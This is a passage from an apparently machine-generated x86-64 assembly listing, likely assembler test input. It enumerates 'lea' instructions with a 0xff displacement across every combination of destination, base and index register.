rdi + 0xff] lea rdi, [r12 + r8 + 0xff] lea rdi, [r12 + r9 + 0xff] lea rdi, [r12 + r10 + 0xff] lea rdi, [r12 + r11 + 0xff] lea rdi, [r12 + r12 + 0xff] lea rdi, [r12 + r13 + 0xff] lea rdi, [r12 + r14 + 0xff] lea rdi, [r12 + r15 + 0xff] lea rdi, [r12 + rsp + 0xff] lea rdi, [r12 + rsi + 0xff] lea rdi, [r12 + rbp + 0xff] lea rdi, [r13 + rax + 0xff] lea rdi, [r13 + rbx + 0xff] lea rdi, [r13 + rcx + 0xff] lea rdi, [r13 + rdx + 0xff] lea rdi, [r13 + rdi + 0xff] lea rdi, [r13 + r8 + 0xff] lea rdi, [r13 + r9 + 0xff] lea rdi, [r13 + r10 + 0xff] lea rdi, [r13 + r11 + 0xff] lea rdi, [r13 + r12 + 0xff] lea rdi, [r13 + r13 + 0xff] lea rdi, [r13 + r14 + 0xff] lea rdi, [r13 + r15 + 0xff] lea rdi, [r13 + rsp + 0xff] lea rdi, [r13 + rsi + 0xff] lea rdi, [r13 + rbp + 0xff] lea rdi, [r14 + rax + 0xff] lea rdi, [r14 + rbx + 0xff] lea rdi, [r14 + rcx + 0xff] lea rdi, [r14 + rdx + 0xff] lea rdi, [r14 + rdi + 0xff] lea rdi, [r14 + r8 + 0xff] lea rdi, [r14 + r9 + 0xff] lea rdi, [r14 + r10 + 0xff] lea rdi, [r14 + r11 + 0xff] lea rdi, [r14 + r12 + 0xff] lea rdi, [r14 + r13 + 0xff] lea rdi, [r14 + r14 + 0xff] lea rdi, [r14 + r15 + 0xff] lea rdi, [r14 + rsp + 0xff] lea rdi, [r14 + rsi + 0xff] lea rdi, [r14 + rbp + 0xff] lea rdi, [r15 + rax + 0xff] lea rdi, [r15 + rbx + 0xff] lea rdi, [r15 + rcx + 0xff] lea rdi, [r15 + rdx + 0xff] lea rdi, [r15 + rdi + 0xff] lea rdi, [r15 + r8 + 0xff] lea rdi, [r15 + r9 + 0xff] lea rdi, [r15 + r10 + 0xff] lea rdi, [r15 + r11 + 0xff] lea rdi, [r15 + r12 + 0xff] lea rdi, [r15 + r13 + 0xff] lea rdi, [r15 + r14 + 0xff] lea rdi, [r15 + r15 + 0xff] lea rdi, [r15 + rsp + 0xff] lea rdi, [r15 + rsi + 0xff] lea rdi, [r15 + rbp + 0xff] lea rdi, [rsp + rax + 0xff] lea rdi, [rsp + rbx + 0xff] lea rdi, [rsp + rcx + 0xff] lea rdi, [rsp + rdx + 0xff] lea rdi, [rsp + rdi + 0xff] lea rdi, [rsp + r8 + 0xff] lea rdi, [rsp + r9 + 0xff] lea rdi, [rsp + r10 + 0xff] lea rdi, [rsp + r11 + 0xff] lea rdi, [rsp + r12 + 0xff] lea rdi, [rsp + r13 + 0xff] lea rdi, [rsp + r14 + 0xff] lea rdi, [rsp + r15 + 0xff] lea rdi, [rsp + rsi + 0xff] lea rdi, [rsp + rbp + 0xff] lea rdi, [rsi + rax + 0xff] lea rdi, [rsi + rbx + 0xff] lea rdi, [rsi + rcx + 0xff] lea rdi, [rsi + rdx + 0xff] lea rdi, [rsi + rdi + 0xff] lea rdi, [rsi + r8 + 0xff] lea rdi, [rsi + r9 + 0xff] lea rdi, [rsi + r10 + 0xff] lea rdi, [rsi + r11 + 0xff] lea rdi, [rsi + r12 + 0xff] lea rdi, [rsi + r13 + 0xff] lea rdi, [rsi + r14 + 0xff] lea rdi, [rsi + r15 + 0xff] lea rdi, [rsi + rsp + 0xff] lea rdi, [rsi + rsi + 0xff] lea rdi, [rsi + rbp + 0xff] lea rdi, [rbp + rax + 0xff] lea rdi, [rbp + rbx + 0xff] lea rdi, [rbp + rcx + 0xff] lea rdi, [rbp + rdx + 0xff] lea rdi, [rbp + rdi + 0xff] lea rdi, [rbp + r8 + 0xff] lea rdi, [rbp + r9 + 0xff] lea rdi, [rbp + r10 + 0xff] lea rdi, [rbp + r11 + 0xff] lea rdi, [rbp + r12 + 0xff] lea rdi, [rbp + r13 + 0xff] lea rdi, [rbp + r14 + 0xff] lea rdi, [rbp + r15 + 0xff] lea rdi, [rbp + rsp + 0xff] lea rdi, [rbp + rsi + 0xff] lea rdi, [rbp + rbp + 0xff] lea r8, [rax + rax + 0xff] lea r8, [rax + rbx + 0xff] lea r8, [rax + rcx + 0xff] lea r8, [rax + rdx + 0xff] lea r8, [rax + rdi + 0xff] lea r8, [rax + r8 + 0xff] lea r8, [rax + r9 + 0xff] lea r8, [rax + r10 + 0xff] lea r8, [rax + r11 + 0xff] lea r8, [rax + r12 + 0xff] lea r8, [rax + r13 + 0xff] lea r8, [rax + r14 + 0xff] lea r8, [rax + r15 + 0xff] lea r8, [rax + rsp + 0xff] lea r8, [rax + rsi + 0xff] lea r8, [rax + rbp + 0xff] lea r8, [rbx + rax + 0xff] lea r8, [rbx + rbx + 0xff] lea r8, [rbx + rcx + 0xff] lea r8, [rbx + rdx + 0xff] lea r8, [rbx + rdi + 0xff] lea r8, [rbx + r8 + 0xff] lea r8, [rbx + r9 + 0xff] lea r8, [rbx + r10 + 0xff] lea r8, [rbx + r11 + 0xff] lea r8, [rbx + r12 + 0xff] lea r8, [rbx + r13 + 0xff] lea r8, [rbx + r14 + 0xff] lea r8, [rbx + r15 + 0xff] lea r8, [rbx + rsp + 0xff] lea r8, [rbx + rsi + 0xff] lea r8, [rbx + rbp + 0xff] lea r8, [rcx + rax + 0xff] lea r8, [rcx + rbx + 0xff] lea r8, [rcx + rcx + 0xff] lea r8, [rcx + rdx + 0xff] lea r8, [rcx + rdi + 0xff] lea r8, [rcx + r8 + 0xff] lea r8, [rcx + r9 + 0xff] lea r8, [rcx + r10 + 0xff] lea r8, [rcx + r11 + 0xff] lea r8, [rcx + r12 + 0xff] lea r8, [rcx + r13 + 0xff] lea r8, [rcx + r14 + 0xff] lea r8, [rcx + r15 + 0xff] lea r8, [rcx + rsp + 0xff] lea r8, [rcx + rsi + 0xff] lea r8, [rcx + rbp + 0xff] lea r8, [rdx + rax + 0xff] lea r8, [rdx + rbx + 0xff] lea r8, [rdx + rcx + 0xff] lea r8, [rdx + rdx + 0xff] lea r8, [rdx + rdi + 0xff] lea r8, [rdx + r8 + 0xff] lea r8, [rdx + r9 + 0xff] lea r8, [rdx + r10 + 0xff] lea r8, [rdx + r11 + 0xff] lea r8, [rdx + r12 + 0xff] lea r8, [rdx + r13 + 0xff] lea r8, [rdx + r14 + 0xff] lea r8, [rdx + r15 + 0xff] lea r8, [rdx + rsp + 0xff] lea r8, [rdx + rsi + 0xff] lea r8, [rdx + rbp + 0xff] lea r8, [rdi + rax + 0xff] lea r8, [rdi + rbx + 0xff] lea r8, [rdi + rcx + 0xff] lea r8, [rdi + rdx + 0xff] lea r8, [rdi + rdi + 0xff] lea r8, [rdi + r8 + 0xff] lea r8, [rdi + r9 + 0xff] lea r8, [rdi + r10 + 0xff] lea r8, [rdi + r11 + 0xff] lea r8, [rdi + r12 + 0xff] lea r8, [rdi + r13 + 0xff] lea r8, [rdi + r14 + 0xff] lea r8, [rdi + r15 + 0xff] lea r8, [rdi + rsp + 0xff] lea r8, [rdi + rsi + 0xff] lea r8, [rdi + rbp + 0xff] lea r8, [r8 + rax + 0xff] lea r8, [r8 + rbx + 0xff] lea r8, [r8 + rcx + 0xff] lea r8, [r8 + rdx + 0xff] lea r8, [r8 + rdi + 0xff] lea r8, [r8 + r8 + 0xff] lea r8, [r8 + r9 + 0xff] lea r8, [r8 + r10 + 0xff] lea r8, [r8 + r11 + 0xff] lea r8, [r8 + r12 + 0xff] lea r8, [r8 + r13 + 0xff] lea r8, [r8 + r14 + 0xff] lea r8, [r8 + r15 + 0xff] lea r8, [r8 + rsp + 0xff] lea r8, [r8 + rsi + 0xff] lea r8, [r8 + rbp + 0xff] lea r8, [r9 + rax + 0xff] lea r8, [r9 + rbx + 0xff] lea r8, [r9 + rcx + 0xff] lea r8, [r9 + rdx + 0xff] lea r8, [r9 + rdi + 0xff] lea r8, [r9 + r8 + 0xff] lea r8, [r9 + r9 + 0xff] lea r8, [r9 + r10 + 0xff] lea r8, [r9 + r11 + 0xff] lea r8, [r9 + r12 + 0xff] lea r8, [r9 + r13 + 0xff] lea r8, [r9 + r14 + 0xff] lea r8, [r9 + r15 + 0xff] lea r8, [r9 + rsp + 0xff] lea r8, [r9 + rsi + 0xff] lea r8, [r9 + rbp + 0xff] lea r8, [r10 + rax + 0xff] lea r8, [r10 + rbx + 0xff] lea r8, [r10 + rcx + 0xff] lea r8, [r10 + rdx + 0xff] lea r8, [r10 + rdi + 0xff] lea r8, [r10 + r8 + 0xff] lea r8, [r10 + r9 + 0xff] lea r8, [r10 + r10 + 0xff] lea r8, [r10 + r11 + 0xff] lea r8, [r10 + r12 + 0xff] lea r8, [r10 + r13 + 0xff] lea r8, [r10 + r14 + 0xff] lea r8, [r10 + r15 + 0xff] lea r8, [r10 + rsp + 0xff] lea r8, [r10 + rsi + 0xff] lea r8, [r10 + rbp + 0xff] lea r8, [r11 + rax + 0xff] lea r8, [r11 + rbx + 0xff] lea r8, [r11 + rcx + 0xff] lea r8, [r11 + rdx + 0xff] lea r8, [r11 + rdi + 0xff] lea r8, [r11 + r8 + 0xff] lea r8, [r11 + r9 + 0xff] lea r8, [r11 + r10 + 0xff] lea r8, [r11 + r11 + 0xff] lea r8, [r11 + r12 + 0xff] lea r8, [r11 + r13 + 0xff] lea r8, [r11 + r14 + 0xff] lea r8, [r11 + r15 + 0xff] lea r8, [r11 + rsp + 0xff] lea r8, [r11 + rsi + 0xff] lea r8, [r11 + rbp + 0xff] lea r8, [r12 + rax + 0xff] lea r8, [r12 + rbx + 0xff] lea r8, [r12 + rcx + 0xff] lea r8, [r12 + rdx + 0xff] lea r8, [r12 + rdi + 0xff] lea r8, [r12 + r8 + 0xff] lea r8, [r12 + r9 + 0xff] lea r8, [r12 + r10 + 0xff] lea r8, [r12 + r11 + 0xff] lea r8, [r12 + r12 + 0xff] lea r8, [r12 + r13 + 0xff] lea r8, [r12 + r14 + 0xff] lea r8, [r12 + r15 + 0xff] lea r8, [r12 + rsp + 0xff] lea r8, [r12 + rsi + 0xff] lea r8, [r12 + rbp + 0xff] lea r8, [r13 + rax + 0xff] lea r8, [r13 + rbx + 0xff] lea r8, [r13 + rcx + 0xff] lea r8, [r13 + rdx + 0xff] lea r8, [r13 + rdi + 0xff] lea r8, [r13 + r8 + 0xff] lea r8, [r13 + r9 + 0xff] lea r8, [r13 + r10 + 0xff] lea r8, [r13 + r11 + 0xff] lea r8, [r13 + r12 + 0xff] lea r8, [r13 + r13 + 0xff] lea r8, [r13 + r14 + 0xff] lea r8, [r13 + r15 + 0xff] lea r8, [r13 + rsp + 0xff] lea r8, [r13 + rsi + 0xff] lea r8, [r13 + rbp + 0xff] lea r8, [r14 + rax + 0xff] lea r8, [r14 + rbx + 0xff] lea r8, [r14 + rcx + 0xff] lea r8, [r14 + rdx + 0xff] lea r8, [r14 + rdi + 0xff] lea r8, [r14 + r8 + 0xff] lea r8, [r14 + r9 + 0xff] lea r8, [r14 + r10 + 0xff] lea r8, [r14 + r11 + 0xff] lea r8, [r14 + r12 + 0xff] lea r8, [r14 + r13 + 0xff] lea r8, [r14 + r14 + 0xff] lea r8, [r14 + r15 + 0xff] lea r8, [r14 + rsp + 0xff] lea r8, [r14 + rsi + 0xff] lea r8, [r14 + rbp + 0xff] lea r8, [r15 + rax + 0xff] lea r8, [r15 + rbx + 0xff] lea r8, [r15 + rcx + 0xff] lea r8, [r15 + rdx + 0xff] lea r8, [r15 + rdi + 0xff] lea r8, [r15 + r8 + 0xff] lea r8, [r15 + r9 + 0xff] lea r8, [r15 + r10 + 0xff] lea r8, [r15 + r11 + 0xff] lea r8, [r15 + r12 + 0xff] lea r8, [r15 + r13 + 0xff] lea r8, [r15 + r14 + 0xff] lea r8, [r15 + r15 + 0xff] lea r8, [r15 + rsp + 0xff] lea r8, [r15 + rsi + 0xff] lea r8, [r15 + rbp + 0xff] lea r8, [rsp + rax + 0xff] lea r8, [rsp + rbx + 0xff] lea r8, [rsp + rcx + 0xff] lea r8, [rsp + rdx + 0xff] lea r8, [rsp + rdi + 0xff] lea r8, [rsp + r8 + 0xff] lea r8, [rsp + r9 + 0xff] lea r8, [rsp + r10 + 0xff] lea r8, [rsp + r11 + 0xff] lea r8, [rsp + r12 + 0xff] lea r8, [rsp + r13 + 0xff] lea r8, [rsp + r14 + 0xff] lea r8, [rsp + r15 + 0xff] lea r8, [rsp + rsi + 0xff] lea r8, [rsp + rbp + 0xff] lea r8, [rsi + rax + 0xff] lea r8, [rsi + rbx + 0xff] lea r8, [rsi + rcx + 0xff] lea r8, [rsi + rdx + 0xff] lea r8, [rsi + rdi + 0xff] lea r8, [rsi + r8 + 0xff] lea r8, [rsi + r9 + 0xff] lea r8, [rsi + r10 + 0xff] lea r8, [rsi + r11 + 0xff] lea r8, [rsi + r12 + 0xff] lea r8, [rsi + r13 + 0xff] lea r8, [rsi + r14 + 0xff] lea r8, [rsi + r15 + 0xff] lea r8, [rsi + rsp + 0xff] lea r8, [rsi + rsi + 0xff] lea r8, [rsi + rbp + 0xff] lea r8, [rbp + rax + 0xff] lea r8, [rbp + rbx + 0xff] lea r8, [rbp + rcx + 0xff] lea r8, [rbp + rdx + 0xff] lea r8, [rbp + rdi + 0xff] lea r8, [rbp + r8 + 0xff] lea r8, [rbp + r9 + 0xff] lea r8, [rbp + r10 + 0xff] lea r8, [rbp + r11 + 0xff] lea r8, [rbp + r12 + 0xff] lea r8, [rbp + r13 + 0xff] lea r8, [rbp + r14 + 0xff] lea r8, [rbp + r15 + 0xff] lea r8, [rbp + rsp + 0xff] lea r8, [rbp + rsi + 0xff] lea r8, [rbp + rbp + 0xff] lea r9, [rax + rax + 0xff] lea r9, [rax + rbx + 0xff] lea r9, [rax + rcx + 0xff] lea r9, [rax + rdx + 0xff] lea r9, [rax + rdi + 0xff] lea r9, [rax + r8 + 0xff] lea r9, [rax + r9 + 0xff] lea r9, [rax + r10 + 0xff] lea r9, [rax + r11 + 0xff] lea r9, [rax + r12 + 0xff] lea r9, [rax + r13 + 0xff] lea r9, [rax + r14 + 0xff] lea r9, [rax + r15 + 0xff] lea r9, [rax + rsp + 0xff] lea r9, [rax + rsi + 0xff] lea r9, [rax + rbp + 0xff] lea r9, [rbx + rax + 0xff] lea r9, [rbx + rbx + 0xff] lea r9, [rbx + rcx + 0xff] lea r9, [rbx + rdx + 0xff] lea r9, [rbx + rdi + 0xff] lea r9, [rbx + r8 + 0xff] lea r9, [rbx + r9 + 0xff] lea r9, [rbx + r10 + 0xff] lea r9, [rbx + r11 + 0xff] lea r9, [rbx + r12 + 0xff] lea r9, [rbx + r13 + 0xff] lea r9, [rbx + r14 + 0xff] lea r9, [rbx + r15 + 0xff] lea r9, [rbx + rsp + 0xff] lea r9, [rbx + rsi + 0xff] lea r9, [rbx + rbp + 0xff] lea r9, [rcx + rax + 0xff] lea r9, [rcx + rbx + 0xff] lea r9, [rcx + rcx + 0xff] lea r9, [rcx + rdx + 0xff] lea r9, [rcx + rdi + 0xff] lea r9, [rcx + r8 + 0xff] lea r9, [rcx + r9 + 0xff] lea r9, [rcx + r10 + 0xff] lea r9, [rcx + r11 + 0xff] lea r9, [rcx + r12 + 0xff] lea r9, [rcx + r13 + 0xff] lea r9, [rcx + r14 + 0xff] lea r9, [rcx + r15 + 0xff] lea r9, [rcx + rsp + 0xff] lea r9, [rcx + rsi + 0xff] lea r9, [rcx + rbp + 0xff] lea r9, [rdx + rax + 0xff] lea r9, [rdx + rbx + 0xff] lea r9, [rdx + rcx + 0xff] lea r9, [rdx + rdx + 0xff] lea r9, [rdx + rdi + 0xff] lea r9, [rdx + r8 + 0xff] lea r9, [rdx + r9 + 0xff] lea r9, [rdx + r10 + 0xff] lea r9, [rdx + r11 + 0xff] lea r9, [rdx + r12 + 0xff] lea r9, [rdx + r13 + 0xff] lea r9, [rdx + r14 + 0xff] lea r9, [rdx + r15 + 0xff] lea r9, [rdx + rsp + 0xff] lea r9, [rdx + rsi + 0xff] lea r9, [rdx + rbp + 0xff] lea r9, [rdi + rax + 0xff] lea r9, [rdi + rbx + 0xff] lea r9, [rdi + rcx + 0xff] lea r9, [rdi + rdx + 0xff] lea r9, [rdi + rdi + 0xff] lea r9, [rdi + r8 + 0xff] lea r9, [rdi + r9 + 0xff] lea r9, [rdi + r10 + 0xff] lea r9, [rdi + r11 + 0xff] lea r9, [rdi + r12 + 0xff] lea r9, [rdi + r13 + 0xff] lea r9, [rdi + r14 + 0xff] lea r9, [rdi + r15 + 0xff] lea r9, [rdi + rsp + 0xff] lea r9, [rdi + rsi + 0xff] lea r9, [rdi + rbp + 0xff] lea r9, [r8 + rax + 0xff] lea r9, [r8 + rbx + 0xff] lea r9, [r8 + rcx + 0xff] lea r9, [r8 + rdx + 0xff] lea r9, [r8 + rdi + 0xff] lea r9, [r8 + r8 + 0xff] lea r9, [r8 + r9 + 0xff] lea r9, [r8 + r10 + 0xff] lea r9, [r8 + r11 + 0xff] lea r9, [r8 + r12 + 0xff] lea r9, [r8 + r13 + 0xff] lea r9, [r8 + r14 + 0xff] lea r9, [r8 + r15 + 0xff] lea r9, [r8 + rsp + 0xff] lea r9, [r8 + rsi + 0xff] lea r9, [r8 + rbp + 0xff] lea r9, [r9 + rax + 0xff] lea r9, [r9 + rbx + 0xff] lea r9, [r9 + rcx + 0xff] lea r9, [r9 + rdx + 0xff] lea r9, [r9 + rdi + 0xff] lea r9, [r9 + r8 + 0xff] lea r9, [r9 + r9 + 0xff] lea r9, [r9 + r10 + 0xff] lea r9, [r9 + r11 + 0xff] lea r9, [r9 + r12 + 0xff] lea r9, [r9 + r13 + 0xff] lea r9, [r9 + r14 + 0xff] lea r9, [r9 + r15 + 0xff] lea r9, [r9 + rsp + 0xff] lea r9, [r9 + rsi + 0xff] lea r9, [r9 + rbp + 0xff] lea r9, [r10 + rax + 0xff] lea r9, [r10 + rbx + 0xff] lea r9, [r10 + rcx + 0xff] lea r9, [r10 + rdx + 0xff] lea r9, [r10 + rdi + 0xff] lea r9, [r10 + r8 + 0xff] lea r9, [r10 + r9 + 0xff] lea r9, [r10 + r10 + 0xff] lea r9, [r10 + r11 + 0xff] lea r9, [r10 + r12 + 0xff] lea r9, [r10 + r13 + 0xff] lea r9, [r10 + r14 + 0xff] lea r9, [r10 + r15 + 0xff] lea r9, [r10 + rsp + 0xff] lea r9, [r10 + rsi + 0xff] lea r9, [r10 + rbp + 0xff] lea r9, [r11 + rax + 0xff] lea r9, [r11 + rbx + 0xff] lea r9, [r11 + rcx + 0xff] lea r9, [r11 + rdx + 0xff] lea r9, [r11 + rdi + 0xff] lea r9, [r11 + r8 + 0xff] lea r9, [r11 + r9 + 0xff] lea r9, [r11 + r10 + 0xff] lea r9, [r11 + r11 + 0xff] lea r9, [r11 + r12 + 0xff] lea r9, [r11 + r13 + 0xff] lea r9, [r11 + r14 + 0xff] lea r9, [r11 + r15 + 0xff] lea r9, [r11 + rsp + 0xff] lea r9, [r11 + rsi + 0xff] lea r9, [r11 + rbp + 0xff] lea r9, [r12 + rax + 0xff] lea r9, [r12 + rbx + 0xff] lea r9, [r12 + rcx + 0xff] lea r9, [r12 + rdx + 0xff] lea r9, [r12 + rdi + 0xff] lea r9, [r12 + r8 + 0xff] lea r9, [r12 + r9 + 0xff] lea r9, [r12 + r10 + 0xff] lea r9, [r12 + r11 + 0xff] lea r9, [r12 + r12 + 0xff] lea r9, [r12 + r13 + 0xff] lea r9, [r12 + r14 + 0xff] lea r9, [r12 + r15 + 0xff] lea r9, [r12 + rsp + 0xff] lea r9, [r12 + rsi + 0xff] lea r9, [r12 + rbp + 0xff] lea r9, [r13 + rax + 0xff] lea r9, [r13 + rbx + 0xff] lea r9, [r13 + rcx + 0xff] lea r9, [r13 + rdx + 0xff] lea r9, [r13 + rdi + 0xff] lea r9, [r13 + r8 + 0xff] lea r9, [r13 + r9 + 0xff] lea r9, [r13 + r10 + 0xff] lea r9, [r13 + r11 + 0xff] lea r9, [r13 + r12 + 0xff] lea r9, [r13 + r13 + 0xff] lea r9, [r13 + r14 + 0xff] lea r9, [r13 + r15 + 0xff] lea r9, [r13 + rsp + 0xff] lea r9, [r13 + rsi + 0xff] lea r9, [r13 + rbp + 0xff] lea r9, [r14 + rax + 0xff] lea r9, [r14 + rbx + 0xff] lea r9, [r14 + rcx + 0xff] lea r9, [r14 + rdx + 0xff] lea r9, [r14 + rdi + 0xff] lea r9, [r14 + r8 + 0xff] lea r9, [r14 + r9 + 0xff] lea r9, [r14 + r10 + 0xff] lea r9, [r14 + r11 + 0xff] lea r9, [r14 + r12 + 0xff] lea r9, [r14 + r13 + 0xff] lea r9, [r14 + r14 + 0xff] lea r9, [r14 + r15 + 0xff] lea r9, [r14 + rsp + 0xff] lea r9, [r14 + rsi + 0xff] lea r9, [r14 + rbp + 0xff] lea r9, [r15 + rax + 0xff] lea r9, [r15 + rbx + 0xff] lea r9, [r15 + rcx + 0xff] lea r9, [r15 + rdx + 0xff] lea r9, [r15 + rdi + 0xff] lea r9, [r15 + r8 + 0xff] lea r9, [r15 + r9 + 0xff] lea r9, [r15 + r10 + 0xff] lea r9, [r15 + r11 + 0xff] lea r9, [r15 + r12 + 0xff] lea r9, [r15 + r13 + 0xff] lea r9, [r15 + r14 + 0xff] lea r9, [r15 + r15 + 0xff] lea r9, [r15 + rsp + 0xff] lea r9, [r15 + rsi + 0xff] lea r9, [r15 + rbp + 0xff] lea r9, [rsp + rax + 0xff] lea r9, [rsp + rbx + 0xff] lea r9, [rsp + rcx + 0xff] lea r9, [rsp + rdx + 0xff] lea r9, [rsp + rdi + 0xff] lea r9, [rsp + r8 + 0xff] lea r9, [rsp + r9 + 0xff] lea r9, [rsp + r10 + 0xff] lea r9, [rsp + r11 + 0xff] lea r9, [rsp + r12 + 0xff] lea r9, [rsp + r13 + 0xff] lea r9, [rsp + r14 + 0xff] lea r9, [rsp + r15 + 0xff] lea r9, [rsp + rsi + 0xff] lea r9, [rsp + rbp + 0xff] lea r9, [rsi + rax + 0xff] lea r9, [rsi + rbx + 0xff] lea r9, [rsi + rcx + 0xff] lea r9, [rsi + rdx + 0xff] lea r9, [rsi + rdi + 0xff] lea r9, [rsi + r8 + 0xff] lea r9, [rsi + r9 + 0xff] lea r9, [rsi + r10 + 0xff] lea r9, [rsi + r11 + 0xff] lea r9, [rsi + r12 + 0xff] lea r9, [rsi + r13 + 0xff] lea r9, [rsi + r14 + 0xff] lea r9, [rsi + r15 + 0xff] lea r9, [rsi + rsp + 0xff] lea r9, [rsi + rsi + 0xff] lea r9, [rsi + rbp + 0xff] lea r9, [rbp + rax + 0xff] lea r9, [rbp + rbx + 0xff] lea r9, [rbp + rcx + 0xff] lea r9, [rbp + rdx + 0xff] lea r9, [rbp + rdi + 0xff] lea r9, [rbp + r8 + 0xff] lea r9, [rbp + r9 + 0xff] lea r9, [rbp + r10 + 0xff] lea r9, [rbp + r11 + 0xff] lea r9, [rbp + r12 + 0xff] lea r9, [rbp + r13 + 0xff] lea r9, [rbp + r14 + 0xff] lea r9, [rbp + r15 + 0xff] lea r9, [rbp + rsp + 0xff] lea r9, [rbp + rsi + 0xff] lea r9, [rbp + rbp + 0xff] lea r10, [rax + rax + 0xff] lea r10, [rax + rbx + 0xff] lea r10, [rax + rcx + 0xff] lea r10, [rax + rdx + 0xff] lea r10, [rax + rdi + 0xff] lea r10, [rax + r8 + 0xff] lea r10, [rax + r9 + 0xff] lea r10, [rax + r10 + 0xff] lea r10, [rax + r11 + 0xff] lea r10, [rax + r12 + 0xff] lea r10, [rax + r13 + 0xff] lea r10, [rax + r14 + 0xff] lea r10, [rax + r15 + 0xff] lea r10, [rax + rsp + 0xff] lea r10, [rax + rsi + 0xff] lea r10, [rax + rbp + 0xff] lea r10, [rbx + rax + 0xff] lea r10, [rbx + rbx + 0xff] lea r10, [rbx + rcx + 0xff] lea r10, [rbx + rdx + 0xff] lea r10, [rbx + rdi + 0xff] lea r10, [rbx + r8 + 0xff] lea r10, [rbx + r9 + 0xff] lea r10, [rbx + r10 + 0xff] lea r10, [rbx + r11 + 0xff] lea r10, [rbx + r12 + 0xff] lea r10, [rbx + r13 + 0xff] lea r10, [rbx + r14 + 0xff] lea r10, [rbx + r15 + 0xff] lea r10, [rbx + rsp + 0xff] lea r10, [rbx + rsi + 0xff] lea r10, [rbx + rbp + 0xff] lea r10, [rcx + rax + 0xff] lea r10, [rcx + rbx + 0xff] lea r10, [rcx + rcx + 0xff] lea r10, [rcx + rdx + 0xff] lea r10, [rcx + rdi + 0xff] lea r10, [rcx + r8 + 0xff] lea r10, [rcx + r9 + 0xff] lea r10, [rcx + r10 + 0xff] lea r10, [rcx + r11 + 0xff] lea r10, [rcx + r12 + 0xff] lea r10, [rcx + r13 + 0xff] lea r10, [rcx + r14 + 0xff] lea r10, [rcx + r15 + 0xff] lea r10, [rcx + rsp + 0xff] lea r10, [rcx + rsi + 0xff] lea r10, [rcx + rbp + 0xff] lea r10, [rdx + rax + 0xff] lea r10, [rdx + rbx + 0xff] lea r10, [rdx + rcx + 0xff] lea r10, [rdx + rdx + 0xff] lea r10, [rdx + rdi + 0xff] lea r10, [rdx + r8 + 0xff] lea r10, [rdx + r9 + 0xff] lea r10, [rdx + r10 + 0xff] lea r10, [rdx + r11 + 0xff] lea r10, [rdx + r12 + 0xff] lea r10, [rdx + r13 + 0xff] lea r10, [rdx + r14 + 0xff] lea r10, [rdx + r15 + 0xff] lea r10, [rdx + rsp + 0xff] lea r10, [rdx + rsi + 0xff] lea r10, [rdx + rbp + 0xff] lea r10, [rdi + rax + 0xff] lea r10, [rdi + rbx + 0xff] lea r10, [rdi + rcx + 0xff] lea r10, [rdi + rdx + 0xff] lea r10, [rdi + rdi + 0xff] lea r10, [rdi + r8 + 0xff] lea r10, [rdi + r9 + 0xff] lea r10, [rdi + r10 + 0xff] lea r10, [rdi + r11 + 0xff] lea r10, [rdi + r12 + 0xff] lea r10, [rdi + r13 + 0xff] lea r10, [rdi + r14 + 0xff] lea r10, [rdi + r15 + 0xff] lea r10, [rdi + rsp + 0xff] lea r10, [rdi + rsi + 0xff] lea r10, [rdi + rbp + 0xff] lea r10, [r8 + rax + 0xff] lea r10, [r8 + rbx + 0xff] lea r10, [r8 + rcx + 0xff] lea r10, [r8 + rdx + 0xff] lea r10, [r8 + rdi + 0xff] lea r10, [r8 + r8 + 0xff] lea r10, [r8 + r9 + 0xff] lea r10, [r8 + r10 + 0xff] lea r10, [r8 + r11 + 0xff] lea r10, [r8 + r12 + 0xff] lea r10, [r8 + r13 + 0xff] lea r10, [r8 + r14 + 0xff] lea r10, [r8 + r15 + 0xff] lea r10, [r8 + rsp + 0xff] lea r10, [r8 + rsi + 0xff] lea r10, [r8 + rbp + 0xff] lea r10, [r9 + rax + 0xff] lea r10, [r9 + rbx + 0xff] lea r10, [r9 + rcx + 0xff] lea r10, [r9 + rdx + 0xff] lea r10, [r9 + rdi + 0xff] lea r10, [r9 + r8 + 0xff] lea r10, [r9 + r9 + 0xff] lea r10, [r9 + r10 + 0xff] lea r10, [r9 + r11 + 0xff] lea r10, [r9 + r12 + 0xff] lea r10, [r9 + r13 + 0xff] lea r10, [r9 + r14 + 0xff] lea r10, [r9 + r15 + 0xff] lea r10, [r9 + rsp + 0xff] lea r10, [r9 + rsi + 0xff] lea r10, [r9 + rbp + 0xff] lea r10, [r10 + rax + 0xff] lea r10, [r10 + rbx + 0xff] lea r10, [r10 + rcx + 0xff] lea r10, [r10 + rdx + 0xff] lea r10, [r10 + rdi + 0xff] lea r10, [r10 + r8 + 0xff] lea r10, [r10 + r9 + 0xff] lea r10, [r10 + r10 + 0xff] lea r10, [r10 + r11 + 0xff] lea r10, [r10 + r12 + 0xff] lea r10, [r10 + r13 + 0xff] lea r10, [r10 + r14 + 0xff] lea r10, [r10 + r15 + 0xff] lea r10, [r10 + rsp + 0xff] lea r10, [r10 + rsi + 0xff] lea r10, [r10 + rbp + 0xff] lea r10, [r11 + rax + 0xff] lea r10, [r11 + rbx + 0xff] lea r10, [r11 + rcx + 0xff] lea r10, [r11 + rdx + 0xff] lea r10, [r11 + rdi + 0xff] lea r10, [r11 + r8 + 0xff] lea r10, [r11 + r9 + 0xff] lea r10, [r11 + r10 + 0xff] lea r10, [r11 + r11 + 0xff] lea r10, [r11 + r12 + 0xff] lea r10, [r11 + r13 + 0xff] lea r10, [r11 + r14 + 0xff] lea r10, [r11 + r15 + 0xff] lea r10, [r11 + rsp + 0xff] lea r10, [r11 + rsi + 0xff] lea r10, [r11 + rbp + 0xff] lea r10, [r12 + rax + 0xff] lea r10, [r12 + rbx + 0xff] lea r10, [r12 + rcx + 0xff] lea r10, [r12 + rdx + 0xff] lea r10, [r12 + rdi + 0xff] lea r10, [r12 + r8 + 0xff] lea r10, [r12 + r9 + 0xff] lea r10, [r12 + r10 + 0xff] lea r10, [r12 + r11 + 0xff] lea r10, [r12 + r12 + 0xff] lea r10, [r12 + r13 + 0xff] lea r10, [r12 + r14 + 0xff] lea r10, [r12 + r15 + 0xff] lea r10, [r12 + rsp + 0xff] lea r10, [r12 + rsi + 0xff] lea r10, [r12 + rbp + 0xff] lea r10, [r13 + rax + 0xff] lea r10, [r13 + rbx + 0xff] lea r10, [r13 + rcx + 0xff] lea r10, [r13 + rdx + 0xff] lea r10, [r13 + rdi + 0xff] lea r10, [r13 + r8 + 0xff] lea r10, [r13 + r9 + 0xff] lea r10, [r13 + r10 + 0xff] lea r10, [r13 + r11 + 0xff] lea r10, [r13 + r12 + 0xff] lea r10, [r13 + r13 + 0xff] lea r10, [r13 + r14 + 0xff] lea r10, [r13 